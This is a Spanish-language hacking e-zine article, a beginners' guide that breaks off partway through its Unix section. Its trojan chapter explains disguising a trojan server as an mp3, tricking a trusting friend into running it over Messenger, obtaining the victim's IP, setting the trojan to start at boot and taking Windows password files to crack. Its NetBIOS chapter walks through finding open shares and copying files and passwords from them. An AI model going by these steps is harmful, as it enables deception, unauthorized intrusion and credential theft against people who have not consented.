-[ 0x02 ]------------------------------------------------------------------- -[ Guia para newbis ]------------------------------------------------------- -[ blackngel_hack@hotmail.com ]-------------------------------------SET-27-- @ @ @@@ blackngel_hack@hotmail.com @@@ IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII III @@@@ @ @@@@@ @@@@@ @ @ @@ @ @@@@@ @@@@@ @ III III @ @ @ @ @ @ @ @ @ @ @ @ @ @ III III @@@@@ @ @@@@@ @ @@@ @ @ @ @ @@@ @@@@ @ III III @ @ @ @ @ @ @ @ @ @ @ @ @ @ @ III III @@@@ @@@@@ @ @ @@@@@ @ @ @ @@ @@@@@ @@@@@ @@@@@ III IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII IIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIIII @@@ @@@ @ @ %%%%%%%%%%%%%%%%%%%%%%% %%%=================%%% %%%GUIA PARA NEWBIES%%% %%%=================%%% %%%%%%%%%%%%%%%%%%%%%%% "Bienvenidos al mundo de lo real..." ----------------------------------------------------------------------------- -----------------$01--------INDICE------------------------------------------- ----------------------------------------------------------------------------- $01 -->> INDICE @@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@<<| CODIGO | ARTICULO | TEMATICA |>>@@@@@@ @@@@@==========================================================@@@@@@ @@@@@==========================================================@@@@@@ @@@@@<<| )(01)( | INDICE | Blackngel |>>@@@@@@ @@@@@<<|=-=-=-=-|=-=-=-=-=-=-=-=-=-=-=-=-=-=|=-=-=-=-=-=-=-=|>>@@@@@@ @@@@@<<| )(02)( | PRESENTACION | Blackngel |>>@@@@@@ @@@@@<<|=-=-=-=-|=-=-=-=-=-=-=-=-=-=-=-=-=-=|=-=-=-=-=-=-=-=|>>@@@@@@ @@@@@<<| )(03)( | CONCEPTOS BASICOS | Underground |>>@@@@@@ @@@@@<<|=-=-=-=-|=-=-=-=-=-=-=-=-=-=-=-=-=-=|=-=-=-=-=-=-=-=|>>@@@@@@ @@@@@<<| )(04)( | TRABAJAR CON TROYANOS | Hacking/WIN |>>@@@@@@ @@@@@<<|=-=-=-=-|=-=-=-=-=-=-=-=-=-=-=-=-=-=|=-=-=-=-=-=-=-=|>>@@@@@@ @@@@@<<| )(05)( | NETBIOS | Hacking/WIN |>>@@@@@@ @@@@@<<|=-=-=-=-|=-=-=-=-=-=-=-=-=-=-=-=-=-=|=-=-=-=-=-=-=-=|>>@@@@@@ @@@@@<<| )(06)( | UNIX Y LINUX BASICO | GENERAL UNIX |>>@@@@@@ @@@@@<<|=-=-=-=-|=-=-=-=-=-=-=-=-=-=-=-=-=-=|=-=-=-=-=-=-=-=|>>@@@@@@ @@@@@<<| )(07)( | INFORMACION DE LA VICTIMA | Hacking |>>@@@@@@ @@@@@<<|=-=-=-=-|=-=-=-=-=-=-=-=-=-=-=-=-=-=|=-=-=-=-=-=-=-=|>>@@@@@@ @@@@@<<| )(08)( | CONSEGUIR CUENTAS | Hacking/U-L |>>@@@@@@ @@@@@<<|=-=-=-=-|=-=-=-=-=-=-=-=-=-=-=-=-=-=|=-=-=-=-=-=-=-=|>>@@@@@@ @@@@@<<| )(09)( | BUGS Y EXPLOITS | Hacking/U-L |>>@@@@@@ @@@@@<<|=-=-=-=-|=-=-=-=-=-=-=-=-=-=-=-=-=-=|=-=-=-=-=-=-=-=|>>@@@@@@ @@@@@<<| )(10)( | DESPEDIDA | Blackngel |>>@@@@@@ @@@@@<<|=-=-=-=-|=-=-=-=-=-=-=-=-=-=-=-=-=-=|=-=-=-=-=-=-=-=|>>@@@@@@ @@@@@<<| )(11)( | AGRADECIMIENTOS | Blackngel |>>@@@@@@ @@@@@<<|=-=-=-=-|=-=-=-=-=-=-=-=-=-=-=-=-=-=|=-=-=-=-=-=-=-=|>>@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@ @@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ Ya se que es una mierda pero realizar la forma del indice me ha costado bastante, asi que no os quejeis, y no desprecieis nunca el esfuerzo y el trabajo de otra persona (consejo). ----------------------------------------------------------------------------- -----------------$02--------PRESENTACION------------------------------------- ----------------------------------------------------------------------------- $02 -->> PRESENTACION Wenas, soy blackngel, supongo que de todos los que esteis leyendo este texto alguno ya me haya visto por el IRC, y los que no pues que se den un paseo por ahi y que me busquen si quieren charlar conmigo. Antes de nada deberia no dar y dar las gracias (que movida), me explico. No deberia dar las gracias porque en realidad nadie me ha ayudado a hacer esta guia que me ha llevado mucho trabajo y largo tiempo sin dormir. La parte por la que si deberia dar las gracias es que esta guia no habria podido ser posible escribirla si antes no hubiera otras muchas personas que se han dedicado a escribir sobre todos estes temas y que gracias a ellos, ahora yo poseo todos estes conocimientos. A todos ellos GRACIAS!. Bueno no es la primera vez que escribo una guia de hacking, sino, que ya es la segunda, pero es que la primera no la publique, porque la hice solo para demostrarme mis conocimientos y para que esta me saliese mucho mas curradita. (Que rarito que soy.....) En esta guia voy a explicar todo lo que he estudiado durante largos anos de trabajo en el mundillo del hacking, con mis palabras. Yo sinceramente os recomiendo que tambien hagais una guia cuando de verdad considereis que teneis un cierto nivel y que la publiques en una pagina web o intenta que esta salga en alguna seccion de alguna E-Zine (revista electronica), y lo mas importante es que pidas la opinion de la gente que lo lea para conocer mucho mejor tu nivel y tener muchas mas ideas atractivas por si haces otras versiones nuevas de tu articulo u otras guias. En ella tratare de ensenyaros formas de entrar tanto en sistemas Windows como en Unix/Linux y otros Sistemas Operativos. Tratare de explicar las cosas de la manera mas facil y simple posible, pero lo que esta claro es que no me voy a parar a ensenyaros como se enciende y apaga un ordenador. Teneis que tener un nivel minimo sobre la informatica, como manejaros bien en Windows, saber buscar en Internet y cosas basicas. Tampoco estaria demas que supieseis que en el mundo de la informatica no solo existe el "Sistema Operativo" Windows, sino que tambien existen muchos otros como Unix, Linux, Irix, SunOs y otros tantos. Para capitulos posteriores tendreis que saber un poco del manejo de unix o linux, pero yo hare unas breves explicaciones sobre los comandos principales que os llegaran para ir practicando los hacks que os vaya ensenando. IMPORTANTE: Si quieres iniciarte realmente en el hacking yo te ayudare pero tendras que leerte esta guia enterita (de pe a pa), sin saltarte ni una sola explicacion, ni tan siquiera el significado de una palabra, puesto que ire poniendo durante esta guia el significado de algunas palabrejas que haran que aumente vuestro vocabulario underground. "El sistema es nuestro........xDDDD" ----------------------------------------------------------------------------- -----------------$03--------CONCEPTOS BASICOS-------------------------------- ----------------------------------------------------------------------------- $03 -->> CONCEPTOS BASICOS En esta seccion pondre el vocabulario basico que debeis manejar para guiaros en esta guia sin que tengais que buscar otro tipo de informacion a parte para conseguir entenderla. (Aunque buscarla os vendria bien si vuestro nivel es bajo). Si me falta algun concepto ya lo explicare en su momento, que los humanos no somos perfectos y siempre se nos puede olvidar algo. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ BACKDOOR: Mas conocido como "puerta trasera". Parte que tiene un programa para permitirnos entrar en un ordenador de forma facil. Normalmente es el programador el que hace esto a proposito para poder entrar, pero se pueden encontrar "backdoors" en software supuestamente deberia estar perfecto. BUG, AGUJERO, HOLE: Todo esto es lo mismo. Es un error o un fallo de configuracion de software que permite a una persona con ciertos conocimientos entrar en el sistema victima por medio de exploits (mirar EXPLOIT adelante), y lograr practicamente el control total de la maquina. Si no hubiera "bugs" en ningun ordenador el mundo del hacking estaria practicamente acabado. ;=(( . DAEMON: Es el programa que controla un puerto. Este se encarga de realizar todas las tareas necesarias para la gente que se conecte al servidor por medio de ese puerto. DIRECCION IP: Es lo mismo que la direccion de tu casa. Para que una persona te pueda escribir una carte, debe conocer tu direccion. Pues con el ordenador es lo mismo, para poder comunicarte con los demas (Internet), necesitas una direccion, esta es la famosa Direccion IP. Esta es mas dificil de recordar porque esta escrita con numeros, pero para eso estan los papeles (para apuntarlas). La forma de una Direccion IP es la siguiente: xxx.xxx.xxx.xxx, es decir, cuatro numeros separados por puntos, cada uno de estos numeros van de 1 a 255 como por ejemplo: 1.1.1.1 o 80.36.230.235 o 255.255.255.255 . Para saber tu IP cuando estes conectado escribe en MS-DoS "ipconfig -all", pero sin comillas y te saldra. ELITE: Lo mejor de lo mejor, son los hackers con mas conocimientos, los mas reconocidos en la sociedad hacking, pero quizas los menos conocidos en la sociedad humana. Esta es, fue, y sera la meta de todo newbie y hacker que se precie. EXPLOIT: Es un programa que en general esta escrito en lenguaje "C", pero tambien puede estar escrito en otros, y que ha sido disenado con el fin de conseguir aprovecharse de un bug (agujero) al cual poder explotar (de ahi su nombre) y que generalmente te da acceso "root"(Administrador) o a una cuenta. Cuando consigues un exploit, no consigues el programa, sino que lo que tienes es el codigo fuente del programa, entonces lo que tienes que hacer es compilarlo y ejecutarlo en la maquina victima. (Ya explicare como hacerlo). FTP (File Transfer Protocol): Protocolo de Transferencia de Archivos. Es el protocolo mediante el cual podemos conectarnos remotamente a un sistema y trabajar con los archivos de este. Permite las opciones de subir archivos al servidor y de bajarlos a tu sistema. GRAN HERMANO: Es cualquier organizacion legal! que esta en contra de cualquier movimiento hacktivista y que dia a dia nos pueden estar espiando sin que nosotros nos demos cuenta. Yo ya no lo considero tan legal, porque hoy por hoy estan violando nuestros derechos de privacidad, pero a ellos no les pasa nada porque se crean leyes malditas que que los exculpan de todo delito. HACKER: Persona con profundos conocimientos sobre tecnologia, principalmente la informatica, y que consigue entrar en un sistema ajeno de formas increibles, con el unico fin de explorar, aprender y descubrir nuevos mundos. No como se nos mitifica diciendo que robamos, borramos y destrozamos discos duros, como ya sabremos los encargados de esa tarea son otros (Putos Lammers). HOST: La mejor forma en la que puedo explicar esto es simplemente diciendo que es la completa traduccion de una direccion IP a letras porque como los humanos somos un poco ("bastante", sin ofender a nadie) tontos y no nos acordamos de los numeros, pues hay otro sistema y atraves de este nombre podemos acceder al sistema igualmente que con su IP. Ex: 216.93.104.34 "grex.cyberspace.org". INGENIERIA SOCIAL: Es el arte de conseguir hacer que una persona haga algo que en realidad no deberia, como decirte su contrasena y cosas asi. A mi me gusta denominarlo "Poder de Conviccion". KEY RECORDER: Programa que se instala en el servidor victima y que su funcion consiste en guardar en un log cualquier tecla pulsada. Con ello conseguiremos muchisimos datos que seguramente seran muy interesantes. LAMMER: Es el eslabon mas bajo de la sociedad Underground, estes preguntan a diestro y siniestro tecnicas de hacking y se bajan de las webs de hacking y warez todo programa k se encuentren, despues lo ejecutan sin saber sus consecuencias, borrando discos duros, colgando sistemas, y todo con su tremendo afan de diversion. LOGIN o USER: Es la palabra o nombre con la que te debes identificar cuando entras a un PC con contrasenas, cuando te conectas a una sesion de "Telnet", o por "FTP". LOGS: Estos son archivos que quedan grabados en el sistema Unix o Linux y en los que se guardan nuestros datos de cada conexion a su sistema. Cada "log" se encarga de una tarea (ya los explicare mas adelante), como guardar tu IP o los comandos que ejecutas, etc. NEWBIE: Precisamente puede que tu lo seas. Es alguien con muchisimo afan de aprender cosas nuevas, con ansias de explorar y descubrir cosas nuevas. Ciertamente si siguen por el buen camino estes llegaran a ser hackers "elite". PASSWORD: Es la contrasenya que deber ir adjunta con el "Login" o "User" y que si ella se te prohibe el acceso a un ordenador. En algunos sistemas, estas tienen impuestas ciertas caracteristicas como: 1. Tener mas de seis caracteres, 2. Que incluya numeros, 3. Que mezcle mayusculas y minusculas o que esta lleve consigo algun caracter especial. PHREACKER: Persona con profundos conocimientos sobre los sistemas telefonicos y de comunicaciones. Los fines de estes personajes Underground son conseguir realizar llamadas gratis a cualquier lugar del mundo, como pinchar lineas y escuchar conversaciones ajenas, y cosas de este tipo. PUERTO: A mi forma de ver yo lo traduciria como una "puerta". Es el medio por el cual nosotros podemos entrar a un servidor. Al igual que las puertas solo podremos entrar si este se encuentra abierto. Cada puerto esta designado por un numero. Por ejemplo cuando nosotros visitamos una pagina web, lo que realmente estamos haciendo es entrar en el server a traves del puerto "80" y lo que hace el server es aceptar nuestra peticion y mandarnos los datos necesarios para que nosotros podamos ver la pagina. ROOT, ADMINISTRADOR, SYSOP: Es el dueno del sistema, el que controla todo y tiene el poder absoluto sobre la maquina gracias a que tiene todos los privilegios. Si conseguimos privilegios de "root", tendremos el equipo en nuestras manos. SHOULDER SURFING: Aunque parezca mentira esta tecnica es bastante empleada, si lo tradujesemos al espanol quedaria como "mirar por encima del hombro", es decir, consiste en que cuando estamos al lado de una persona y esta esta escribiendo cualquier dato que nos pueda ser util, tendremos que mirar como sea pero disimuladamente lo que escribe, un ejemplo de ello es cuando esta escribiendo su contrasena de entrada al sistema y nosotros miramos. Cuidado y no seas descarado que te puedes meter en lios y ademas llevarte un par de patadas en el .... SNIFFER: Este programa se instala en un servidor remoto y captura los paquetes que pasan por la red. Con ellos podemos sacar informacion del sistema, asi como logins y passwords. TRASHING: Este metodo es mas reconocido como "recogida de basura". Existen dos tipos de trashing: Virtual y Fisica. La virtual trata de recoger cualquier informacion que se pueda y que haya sido eliminada por el servidor que atacamos, asi como restos de informacion que queden en la memoria y que nos puedan ser utiles. La fisica consiste en recoger basura de verdad, desde papeles o documentos que arrojan las grandes empresas a la calle, hasta meterse en el mismisimo basurero a rebuscar informacion. TROYANO: Programa que en realidad esta formado por dos programas, el primero se llama "Client" y el segundo "Server". Si conseguimos mandarle el "Server" a nuestra victima y que lo ejecute, mediante nuestro programa "Client" podremos controlar su sistema sin ninguna restriccion. Podemos desde abrirle el cd-rom, como activar su webcam y ver que esta haciendo, explorar su disco duro e infinidad de cosas. UNDERGROUND: En realidad significa "debajo de la tierra", pero traduciendolo a nuestro mundillo significa todo "lo que no se puede o debe saber", como puede ser documentos del gobierno, el FBI, cosas de este tipo y como esta claro lo principal que conlleva esta palabra, es todo lo relacionado con la informatica oscura (como algunos le llaman a esto, y es mentira), ya sea hacking, cracking, virucking, phreaking, etc. VIRUS: Es un archivo programado generalmente en lenguaje ensamblador, pero hoy en dia tambien se pueden fabricar virus con codigo macro (hechos con el word). Las instrucciones y funciones que continen estos archivos son malignas y generalmente destructivas. Estes pueden residir en la memoria, multiplicarse, ser poliformicos (cambian de forma cada vez que se replican) y casi siempre estan programados para volver a ejecutarse cada vez que se arranque el ordenador dejandolo asi practicamente inutilizable. Otra de sus caracteristicas es la del abuso de los recursos del sistema, asi como pueden llegar a ocupar toda la memoria y hacer que se tenga que reiniciar el ordenador, o llenar completamente el HD(Disco Duro) e incluso formatearlo. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ $03.1 -->> FAMOSA ETICA HACKER Ya se que esto os parecera aburrido, pero verdaderamente es una de las partes mas importantes que un hacker debe tener presente en todo momento. 1.-No danes nada intencionadamente, eso no es de hackers, sino de lammers. 2.-Modifica lo justamente necesario para una futura intrusion. 3.-Si eres un newbie, empieza hackeando sites faciles. Nunca del gobierno, de telefonica, ni nada parecido. 4.-Tu y solo tu eres responsable de tus actos, si la pringas, tu veras lo que haces. 5.-No comentes tus hazanyas por ahi, pueden ser utilizadas en contra tuya, si algun listillo las suelta. He visto guias con 10 o 12 reglas pero yo creo que esto es lo unico que yo te debo explicar, las otras que faltan seran las que iras poniendo a tu juicio a lo largo de tu carrera de hacking. $03.2 -->> JERGA HACKING La jerga .....mmmmm..... hasta me aborrece explicarlo. Es el tipo de lenguaje que utilizan algunos hackers para comunicarse sin que otros puedan entender la conversacion. Po supuesto esta conversacion tiene que ser por escrito. Esta se suele realizar mediante la sustitucion de letras por numeros, un ejemplo de ello seria: "elite" quedaria "31it3" o si cogemos "eleet" quedaria "31337". Bueno creo que esto queda lo suficientemente claro y ademas como a mi no me gusta nada de nada pues lo dejo a vuestra conciencia el investigar mas sobre este tema. ----------------------------------------------------------------------------- -----------------$04--------TRABAJAR CON TROYANOS---------------------------- ----------------------------------------------------------------------------- $04 -->> TRABAJAR CON TROYANOS Esta puede que sea la tecnica mas utilizada para hackear un windows aparte de otras que explicare posteriormente, por eso, tratare de explicarla lo mejor posible. Tambien mencionar que en esta tecnica entrara especialmente la Ingenieria Social, asi que ir preparando esa labia de la que tanto presumis. -$04.1 -->> PREPARAR EL TROYANO Depende de como tengamos configurado o presentado nuestro troyano dependera la mitad de las veces el que lo acepten o el que no. Lo primero y mas importante seria cambiarle el nombre, porque nadie es tan tonto como para aceptar un fichero llamado "Server.exe". Un ejemplor seria: "Sexo.exe". Algunos troyanos pueden traer otro programita al lado que se llama "EditServer", y que sirve para configurar el troyano, desde aqui podreis cambiarle el nombre e incluso modificarle el icono para que sea mucho mas creible a la hora de que el lo ejecute. Con lo anterior podria ser suficiente pero como en el mundo de la informatica existe de todo, si queremos que confien plenamente en nosotros al aceptar el archivo, necesitaremos un programilla que anda colgadito en Internet que se llama "EliteWrap". Que para que sirve, pues permite la union de 2 o mas archivos, es decir, que puedes unir una cacion "*.mp3" con el "Server.exe" y que en el nombre del archivo quede situado el nombre que a ti te de la gana. Tambien deberas bajarte un manual sobre como utilizarlo, porque es para MS-DoS y esta en ingles. Cuando sepas utilizarlo te daras cuenta de lo util que puede llegar a ser esta herramienta. IMPORTANTE: Para seguir el capitulo supondre que has cofigurado el troyano para que quede como "barthez.mp3", (se supone una cacion de la ostia). -$04.2 -->> ELEGIR LA VICTIMA Esto puede ser casi lo mas importante que te lleve serguramente a culminar o no tu ataque. Tienes que elegir bien a tu victima porque tampoco puede ser asi al azar. Lo mas facil seria tratar de hacerselo a un amigo que tenga una buena confianza en nosotros, y direis pa que quiero atacar a un amigo, (que no, que no y que no. Somos Hackers y solo somos curiosos, no atacamos a nadie). Supondremos que nuestro amigo se conecta de vez en cuando al IRC, entonces cuando sepamos que este concectado pues nos vamos nosotros tambien al IRC y charlamos un poco con el y le decimos que el programa que utilizas para chatear te esta fallando mucho y que si hiciera el favor se conectase al Messenger, (que no sabeis o no sabe que es el Messenger), si es tu caso antes de actuar bajatelo y aprende a usarlo, si es el caso de tu amigo, puedes esperar a que lo baje y lo aprenda a usar o lo mas facil seria buscarse otra victima con un poquito mas de conocimientos. -$04.3 -->> AL ATAQUE Cuando esteis en el Messenger debes tener absolutamente todo lo demas referente a internet cerrado, tanto programas de chat, como paginas web o cosas asi. Pues bien, hecho esto, debeis ir rapidamente a una ventanita de MS-DoS y escribir en ella "netstat -n" sin las comillas y apuntar en un papel la tabla que te saldra a continuacion. Aqui os pongo un ejemplo de como puede ser esa tabla: PROTO DIRECCION LOCAL DIRECCION REMOTA ESTADO ===== =============== ================ ====== TCP/IP 127.0.0.1 MSN.HOTMAIL.ES ESTABLISH TCP/IP 127.0.0.1 *.* ESTABLISH En vez de los nombres que aparecen en direccion remota os saldran las direcciones IP de esos sitios que son a los que se conecta el Messenger. Recordad teneis que apuntarla en un papel, esto es muy importante. Decir, que en una guia vi que cuando explicaban esto, en la tabla ponian "PORT", en vez de "PROTO" y no es por joder pero despues la pena se confunde y nos acribillan a preguntas. Ahora (a partir de ahora vendra lo mas importante), tendreis que seguir hablando con el otro poco (no mucho, que se nos puede marchar) y al cabo de un rato le decis que le vais a pasar una cacion (el troyano) que supera a todas las que tenga el juntas, si tienes suerte te dira que esta deseando escucharlo si no la tienes, pues te jodes y te buscas otra victima menos quisquillosa. Suponiendo que este te ha dicho que si (llega el momento en el que tienes que hacer las cosas lo mas rapidamente posible), le mandas el archivo y le esperas a que acepte la transferencia. Vuelve a la ventanita de MS-DoS y escribe lo mismo que antes "netstat -n" como podras observar tendras una nueva entrada en la tabla con su correspondiente direccion IP. Un ejemplo seria esta tabla: PROTO DIRECCION LOCAL DIRECCION REMOTA ESTADO ===== =============== ================ ====== TCP/IP 127.0.0.1 MSN.HOTMAIL.ES ESTABLISH TCP/IP 127.0.0.1 *.* ESTABLISH TCP/IP 127.0.0.1 80.36.230.235 ESTABLISH Pues bien, esa nueva IP es la de tu victima (ya falta poco para el triunfo). Deberas esperar a que termine la transferencia y entonces le dices que la escuche porque quieres saber su opinion. Muy bien el listillo estara escuchando la cancion pero el troyano tambien se habra ejecutado y el chiquillo la habra cagado. -$04.4 -->> QUE HACER?? Ahora que lo tienes absolutamente todo, solo te queda abrir el "Client.exe" y en el cuadro que pone Direccion IP, escribes la de tu victima y le das al boton de conectar. Despues de unos segundos la conexion con tu victima ya estara abierta y podras hacer todo lo que te apetezca (recuerda que somos hackers, no lammers, y no vamos destrozando ordenadores por ahi). -$04.5 -->> CONSEJOS BLACKNGEL Antes de empezar a tomarle el pelo a tu amigo haciendo que se habra su CD y cosas asi tendras que prepararlo todo para no tener que repetir todo este rollo de trabajo en una futura intrusion. Si el troyano trae consigo el "EditServer.exe" tendras que activar la opcion que hace que el troyano se ejecute cada vez que tu victima enciende su PC. Si no lo tiene deberas configurar su "autoexec.bat" o su "sytem.ini" para que este se arranque automaticamente. Despues de esto lo ultimo seria coger sus archivos de sistema "*.ini" y sobretodo los archivos de contrasenas "*.pwl" situados en la carpeta "c:\windows" o escondidos en otra carpeta. Una vez tengamos los archivos de contrasenas en nuestro PC, los desencriptaremos con paciencia con algun programa como el "Cain", que es muy bueno para todos los tipos de contrasenyas de un Windows. Y ahora lo unico que te queda es divertirte, pero solo explorando y acumulando experiencia para otras intrusiones. Nada de andar machacando discos duros ajenos que la carcel no esta hecha para nosotros. ----------------------------------------------------------------------------- -----------------$05-----------NETBIOS--------------------------------------- ----------------------------------------------------------------------------- $05 -->> NETBIOS Este hack no se basa en un fallo del windows ni nada parecido. Algunos usuarios tienes redes de trabajo, se reunen para jugar, intercambiar fotos, shareware... esetipo de cosas, y comparten recursos y no ponen passwords. Si encontramos a uno de estos individuos... le podemos entrar en su sistema y la mayoria de las veces, sacar passwords y archivos importantes (o juegos o fotos porno o...). En esta pequena seccion se explican los pasos a seguir para hackear una maquina con recursos compartidos en windows. -$05.1 -->> MAQUINA OBJETIVO Para encontrar un sistema que te permita realizar este hack, podrias probar IPs a boleo, pero esto seria muy ruinoso y lento. Tambien podrias sacar informacion a traves del IRC, pero NO! preguntes en canales como #hackers, #hacking, #newbies, #hacker_novatos (en estes dos ultimos es donde deberias intercambiar informacion por el momento), porque te echaran a patadas (y no exagero) diciendote que este es un truco viejisimo, y tienen razon, pero cuando funciona quien le diera a ellos estar en tu lugar. Y la ultima forma y que mas me gusta a mi seria descargarse algun programa que detecte vulnerabilidades (el mejor sin duda es el SSS(Shadow Security Scanner) que lo podras encontrar via google) y aprender a manejarlo que es muy facil, despues lo unico que deberias poner en el programa es que buscara si el sistema victima tiene el puerto 139 abierto y comprobar la vulnerabilidad del NetBIOS. -$05.2 -->> NOMBRE MAQUINA OBJETIVO Para poder entrar primero necesitamos saber cual es el nombre de la maquina, para ello usaremos el programa nbtstat con el parametro -A, que sirve para pillar la tabla de nombres de la maquina objetivo a partir de la IP. Este comando se usa asi: 'nbtstat -A 123.123.123.123'. Podemos ejecutarlo desde un prompt del DOS o desde Inicio-Ejecutar: Ejecutas MS-DoS y escribes: nbtstat -A (IP.DE.LA.VICTIMA) y te responde algo como: Host not found. Esto quiere decir que o no tiene el netbios activo, o no usa windows, o no se encuentra nada en esa IP (puede que se haya desconectado, que la hayas escrito mal...), entonces, vete al Paso1 y a buscarse otra victima. Repetimos, ya tengo otra victima, pongo el comando 'nbtstat -A IPdelavictima' Esta vez ha contestado algo como: NetBIOS Remote Machine Name Table Name Type Status ------------------------------------------- LOKO <00> UNIQUE Registered LOKOCINKO <00> GROUP Registered LOKO <03> UNIQUE Registered MAC Address = 44-45-53-54-00-00 Ahora sabemos que el nombre de la maquina es LOKO (primera entrada <00>), que el nombre del grupo es SUSOHACKER. El nombre de la maquina es el primer UNIQUE de la tabla, y los grupos que hay son reconocidos facilmente por GROUP. Pero antes de que empieces a dar saltos de alegria por haber encontrado un objetivo valido, he de decirte que este no nos vale. Para que el objetivo valga (o sea que haya posibilidades de entrar en el), tiene que haber por al menos una entrada <20>, y en este caso no la hay. Repetimos Paso1, hacemos el 'nbtstat -A Ipvictima' y encontramos un individuo con una entrada <20>: NetBIOS Remote Machine Name Table Name Type Status ------------------------------------------- SANTI <00> UNIQUE Registered CORBA <00> GROUP Registered SANTI <03> UNIQUE Registered SANTI <20> UNIQUE Registered CORBA <1E> GROUP Registered MAC Address = 44-45-53-54-00-00 Este individuo tiene una entrada <20> y es la que nos vale, tenemos el nombre de su maquina que es SANTI, recuerda que es el primer UNIQUE. Podemos pasar al Paso3. El que os haya puesto victimas que no valian era para que vierais los resultados mas comunes antes de pasar a la accion, y si no te sale a la primera, saldra a la segunda. Tambien decirte que tienes que tener en la conexion que estes usando en propiedades la casilla de NetBEUI y Conectarse a la red activadas, luego ve al Panel de Control y en Red, comprueba que tienes Compartir impresoras y archivos activados. -$05.3 -->> EDITANDO LA LISTA HOSTS Abrimos el archivo C:\WINDOWS\lmhosts (no confundir con lmhosts.sam, que es un ejemplo (sam de sample)) y escribimos, en la ultima linea (que puede ser la primera si acabamos de crear el archivo, quiero decir que podemos tener varios ordenatas metidos en la lista): ex: '127.0.0.1 NOMBRE' Y lo guardais. Ahora lo mas importante, que en todos los textos que habia leido sobre esto antes de conseguir hacerlo no lo nombraban (lo que me hace suponer que se habrian limitado a copiarselo de otro y no lo habian hecho nunca) Decirle al NetBIOS que actualice la lista, que anada el nuevo host. Esto se hace escribiendo: "nbtstat -R", y respondera: Successful purge and preload of the NBT Remote Cache Name Table. Lo ejecutais donde querais. En Inicio, mIRC, DOS... Anadido a la lista y pasamos al Paso4. -$05.4 -->> QUE COMPARTE Usamos el comando net view para ver lo que comparte: net view \\NOMBRE Saldra algo asi: Recursos compartidos \\NOMBRE Compartido Tipo Comentario --------------------------------------- CDROM Disco C Disco PRINTER1 Impresora El comando ha sido ejecutado con exito. Tambien podemos hacer Inicio-Buscar-PC... \\NOMBRE Luego desde DOS podemos hacer DIR \\NOMBRE para ver los archivos, o en ejecutar \\NOMBRE y se abrira una ventana con lo que tiene compartido. Ahora le podemos copiar archivos, leer archivos y tal como si estuvieran en nuestro ordenata (ira muuuy lento, no os desespereis). -$05.5 -->> CONSEJOS BLACKNGEL Si sois un poco listos y os habeis leido la seccion anterior de "Consejos" de "Troyanos" ya sabeis lo que teneis que hacer. Solamente cojer los archivos de informacion y los de contrasenas, con esto ya tendremos lo suficiente para una futura intromision y ademas con las contrasenas que consigamos podremos buscar vulnerabilidades y penetrar en el sistema de muchas otras formas. ----------------------------------------------------------------------------- -----------------$06--------GENERAL UNIX------------------------------------- ----------------------------------------------------------------------------- $06 -->> GENERAL UNIX Para que puedas continuar leyendo las siguientes secciones tendras que tener unos conocimientos basicos sobre el Sistema Operativo UNIX O LINUX. Para ello yo te explicare lo extrictamente necesario sin pararme mucho para no meterme en materia. Pero si quieres ser un verdadero hacker tendras que conocer este sistema a la "perfeccion", eso incluye que lo instales en tu ordenador, pero ahora eso no hara falta porque el unix o linux lo tendra la maquina a la que querramos atacar. -$06.1 -->> DIRECTORIOS El UNIX/LINUX no esta dividido por letras como "A:", "C:", "D:", etc... sino que todos los directorios cuelgan de uno. A este directorio se le llama directorio raiz y esta representado asi "/". Dentro de esta las mas importantes son "/bin", "/dev", "/etc", "/usr", y algun otro. Antes de explicar los comandos basicos para manejarse en el sistema remoto, primero leete lo que viene a continuacion para que asi puedas probar los comandos y ver como funcionan. -$06.2 -->> TELNET Este es un programa que incorporan tanto el Windows como el Unix o el Linux, y es imprescindible para un hacker, porque es el que utilizara casi siempre para realizar sus hazanas. "Telnet" te permite conectarte a un sistema remoto mediante su IP o nombre de host y el puerto al que quieras acceder. Para que lo entiendas vete a Inicio->Ejecutar, escribe telnet y pulsa aceptar. Ahora tendras el programa telnet ante tu cara. Haz click en "Conectar", luego en 